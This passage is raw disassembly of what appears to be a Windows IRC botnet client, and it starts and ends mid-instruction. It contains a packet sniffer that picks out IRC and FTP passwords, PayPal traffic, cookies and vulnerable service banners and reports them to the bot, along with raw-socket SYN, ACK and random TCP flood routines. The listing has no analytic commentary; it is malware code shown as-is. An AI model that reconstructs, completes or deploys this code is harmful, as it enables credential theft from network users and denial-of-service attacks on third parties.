dword_4355BC[eax*8] push off_435598[eax*4] lea eax, [ebp+Dest] push offset asc_435E40 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4122D4 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409A73 add esp, 14h loc_4122D4: ; CODE XREF: sub_411FD6+2DCj lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx jmp loc_4121B9 ; --------------------------------------------------------------------------- loc_4122E6: ; CODE XREF: sub_411FD6+20Ej call dword_4CB5E8 ; WSAGetLastError push eax push offset asc_435E14 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_41232C push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409A73 add esp, 14h loc_41232C: ; CODE XREF: sub_411FD6+334j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push [ebp+var_4] call dword_4CB6EC ; closesocket push [ebp+var_30] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread sub_411FD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412352 proc near ; CODE XREF: sub_412661+213p ; sub_412661+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE3C0, eax mov eax, offset dword_4CE3C0 retn sub_412352 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412361(char *Str) sub_412361 proc near ; CODE XREF: sub_412661+2BFp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aBotSniff ; "Bot sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41237B loc_412377: ; CODE XREF: sub_412361+29j ; sub_412361+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237B: ; CODE XREF: sub_412361+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_1 ; "[PSNIFF]:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aPsniff_2 ; "PSNIFF//" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412377 push offset aJoin_0 ; "JOIN #" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4123C3 loc_4123BF: ; CODE XREF: sub_412361+71j ; sub_412361+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C3: ; CODE XREF: sub_412361+5Cj push offset a302 ; "302 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a366 ; "366 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login_0 ; ":.login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_0 ; ":!login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aLogin_1 ; ":!Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_login_1 ; ":.Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset a_ident ; ":.ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4123BF push offset aIdent_0 ; ":!ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_4123BF push offset a_hashin ; ":.hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_4123BF push offset aHashin ; ":!hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412361 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412478(char *Str) sub_412478 proc near ; CODE XREF: sub_412661+2F8p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aIrcSniff ; "IRC sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412492 loc_41248E: ; CODE XREF: sub_412478+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412492: ; CODE XREF: sub_412478+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41248E push offset aOper ; "OPER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4124B8 loc_4124B4: ; CODE XREF: sub_412478+4Fj ; sub_412478+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B8: ; CODE XREF: sub_412478+3Aj push offset aNick_1 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aOper_0 ; "oper " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4124B4 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412478 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4124EE(char *Str) sub_4124EE proc near ; CODE XREF: sub_412661+32Ep Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aFtpSniff ; "FTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412508 loc_412504: ; CODE XREF: sub_4124EE+29j ; sub_4124EE+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412508: ; CODE XREF: sub_4124EE+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412504 push offset aNick_1 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412504 push offset a220 ; "220 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41253F loc_41253B: ; CODE XREF: sub_4124EE+60j ; sub_4124EE+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253F: ; CODE XREF: sub_4124EE+4Bj push offset a230 ; "230 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aUser_2 ; "USER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41253B push offset aPass_0 ; "PASS " push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124EE endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412575(char *Str) sub_412575 proc near ; CODE XREF: sub_412661+35Fp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aHttpSniff ; "HTTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41258F loc_41258B: ; CODE XREF: sub_412575+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258F: ; CODE XREF: sub_412575+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41258B push offset aPaypal ; "paypal" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4125B5 loc_4125B1: ; CODE XREF: sub_412575+4Fj ; sub_412575+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B5: ; CODE XREF: sub_412575+3Aj push offset aPaypal_0 ; "PAYPAL" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com ; "PAYPAL.COM" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aPaypal_com_0 ; "paypal.com" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4125B1 push offset aSetCookie ; "Set-Cookie:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412575 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4125FC(char *Str) sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aVulnSniff ; "VULN sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412616 loc_412612: ; CODE XREF: sub_4125FC+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412616: ; CODE XREF: sub_4125FC+14j push offset aFaak ; "#FAAK#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412612 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41263C loc_412638: ; CODE XREF: sub_4125FC+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263C: ; CODE XREF: sub_4125FC+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412638 push offset aOpenssh_2 ; "OpenSSH_2" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412661 proc near ; DATA XREF: sub_401ACD+427Do Dst = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h Str = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h Dest = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB668 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CB6D8 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx ; Size push dword ptr [eax] ; Src lea eax, [ebp+var_8] push eax ; Dst call _memcpy mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB6D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412707 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412707: ; CODE XREF: sub_412661+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CB680 ; bind cmp eax, 0FFFFFFFFh jnz short loc_41277D call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_4361C0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412759 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409A73 add esp, 14h loc_412759: ; CODE XREF: sub_412661+D6j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push [ebp+var_34] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_41277D: ; CODE XREF: sub_412661+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB600 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412803 call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_436190 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DF push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409A73 add esp, 14h loc_4127DF: ; CODE XREF: sub_412661+15Cj lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push [ebp+var_34] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_412803: ; CODE XREF: sub_412661+13Cj mov esi, 200h loc_412808: ; CODE XREF: sub_412661+1D6j ; sub_412661+1FBj ... mov edi, 0FFFFh lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push edi push eax push [ebp+var_10] call dword_4CB66C ; recv cmp [ebp+var_113AF], 6 jnz short loc_412808 push [ebp+var_113A4] mov edi, ds:dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412808 cmp [ebp+arg_0], 19h jz short loc_412808 cmp edi, 6Eh jz short loc_412808 cmp edi, 19h jz short loc_412808 push [ebp+var_113AC] call sub_412352 pop ecx push dword ptr [eax] call ds:dword_4271E8 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_6 ; "%s" push eax ; Dest call _sprintf push [ebp+var_113A8] call sub_412352 add esp, 10h push dword ptr [eax] call ds:dword_4271E8 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_6 ; "%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] mov [ebp+var_4], ebx push eax ; Str call _strlen add esp, 10h test eax, eax jle short loc_412906 loc_4128D2: ; CODE XREF: sub_412661+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+Str], 0Dh lea eax, [ebp+eax+Str] jnz short loc_4128E9 mov byte ptr [eax], 20h loc_4128E9: ; CODE XREF: sub_412661+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F1 mov byte ptr [eax], 20h loc_4128F1: ; CODE XREF: sub_412661+28Bj inc [ebp+var_4] lea eax, [ebp+Str] push eax ; Str call _strlen cmp [ebp+var_4], eax pop ecx jl short loc_4128D2 loc_412906: ; CODE XREF: sub_412661+26Fj cmp [ebp+arg_0], 50h jz loc_4129B9 cmp edi, 50h jz loc_4129B9 lea eax, [ebp+Str] push eax ; Str call sub_412361 test al, al pop ecx jz short loc_41294D lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43615C jmp loc_4129E8 ; --------------------------------------------------------------------------- loc_41294D: ; CODE XREF: sub_412661+2C7j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+Str] push eax ; Str call sub_412478 test al, al pop ecx jz short loc_412983 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436128 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_412983: ; CODE XREF: sub_412661+300j cmp edi, 50h jz short loc_4129B9 lea eax, [ebp+Str] push eax ; Str call sub_4124EE test al, al pop ecx jz short loc_4129B9 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360F4 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_412661+2A9j ; sub_412661+2B2j ... lea eax, [ebp+Str] push eax ; Str call sub_412575 test al, al pop ecx lea eax, [ebp+Str] push eax jz short loc_412A26 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset asc_4360BC ; "-" loc_4129E8: ; CODE XREF: sub_412661+2E7j ; sub_412661+320j ... lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412808 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409A73 add esp, 14h jmp loc_412808 ; --------------------------------------------------------------------------- loc_412A26: ; CODE XREF: sub_412661+36Ej call sub_4125FC test al, al pop ecx jz loc_412808 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436084 jmp short loc_4129E8 sub_412661 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A54 proc near ; DATA XREF: sub_401ACD+6543o Dest = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch Str = byte ptr -10Ch Str1 = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 lea eax, [ebp+var_18C] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+var_20C] push eax ; Str lea eax, [ebp+var_28C] push eax ; int call sub_412E40 add esp, 14h push eax lea eax, [ebp+Dest] push offset asc_4361EC ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_412AE7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_294] ; int call sub_409A73 add esp, 14h loc_412AE7: ; CODE XREF: sub_412A54+71j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_290] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_412A54 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_412B09(int,int,char *Str1,int,int) sub_412B09 proc near ; CODE XREF: sub_412E40+40p var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h Dst = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 ; WSAStartup test eax, eax jz short loc_412B49 xor eax, eax jmp loc_412E3C ; --------------------------------------------------------------------------- loc_412B49: ; CODE XREF: sub_412B09+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E34 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB634 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_412E2A push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB654 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB654 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB654 ; htons mov [ebp+var_12], ax call _rand movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB654 ; htons push 12345678h mov [ebp+var_14], ax call dword_4CB650 ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_412C19 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C19: ; CODE XREF: sub_412B09+105j push offset aDdos_ack ; "ddos.ack" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_412C35 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6D ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412B09+121j push offset aDdos_random ; "ddos.random" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_412C6D call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6D: ; CODE XREF: sub_412B09+10Ej ; sub_412B09+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB654 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+Str1], ebx call ds:dword_427134 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_427130 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call __allmul add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBB: ; CODE XREF: sub_412B09+2E2j ; sub_412B09+2F0j mov [ebp+var_4], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 ; htons mov [ebp+var_14], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4CB654 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB6B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_412DFE add [ebp+Str1], eax lea eax, [ebp+var_1C] push eax call ds:dword_427130 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E27 jl loc_412CBB mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E27 jmp loc_412CBB ; --------------------------------------------------------------------------- loc_412DFE: ; CODE XREF: sub_412B09+2CBj call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_436214 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 10h jmp short loc_412E2A ; --------------------------------------------------------------------------- loc_412E27: ; CODE XREF: sub_412B09+2E0j ; sub_412B09+2EEj mov ebx, [ebp+Str1] loc_412E2A: ; CODE XREF: sub_412B09+78j ; sub_412B09+31Cj push [ebp+var_20] call dword_4CB6EC ; closesocket pop esi loc_412E34: ; CODE XREF: sub_412B09+5Bj call dword_4CB5AC ; WSACleanup mov eax, ebx loc_412E3C: ; CODE XREF: sub_412B09+3Bj pop edi pop ebx leave retn sub_412B09 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412E40(int,char *Str,char *Str1,int) sub_412E40 proc near ; CODE XREF: sub_412A54+4Fp arg_0 = dword ptr 4 Str = dword ptr 8 Str1 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAFA push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_C] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi ; int idiv ecx push ebx ; int push [esp+20h+Str1] ; Str1 lea eax, [edx+esi+100h] push eax ; int push esi ; int call sub_412B09 add esp, 20h test eax, eax jnz short loc_412E8F push 1 pop eax loc_412E8F: ; CODE XREF: sub_412E40+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_412E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E9E proc near ; DATA XREF: sub_401ACD+6722o Dest = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h Str = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CB6D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_412F39 call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_436314 ; "-" push eax ; Dest call _sprintf xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_412F1C push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409A73 add esp, 14h loc_412F1C: ; CODE XREF: sub_412E9E+5Cj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_38] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread loc_412F39: ; CODE XREF: sub_412E9E+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CB634 ; setsockopt loc_412F4E: ; DATA XREF: .data:off_43A86Co cmp eax, 0FFFFFFFFh jnz short loc_412FB0 call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_4362E4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_412F93 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409A73 add esp, 14h loc_412F93: ; CODE XREF: sub_412E9E+D3j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_38] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread loc_412FB0: ; CODE XREF: sub_412E9E+B3j lea eax, [ebp+var_1B8] push eax call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413017 lea eax, [ebp+Dest] push offset asc_4362C4 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_412FFA push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409A73 add esp, 14h loc_412FFA: ; CODE XREF: sub_412E9E+13Aj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_38] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread loc_413017: ; CODE XREF: sub_412E9E+122j push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call dword_4CB654 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CB694 ; inet_addr mov esi, ds:dword_4270A8 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413055: ; CODE XREF: sub_412E9E+2E8j call esi ; GetTickCount sub eax, 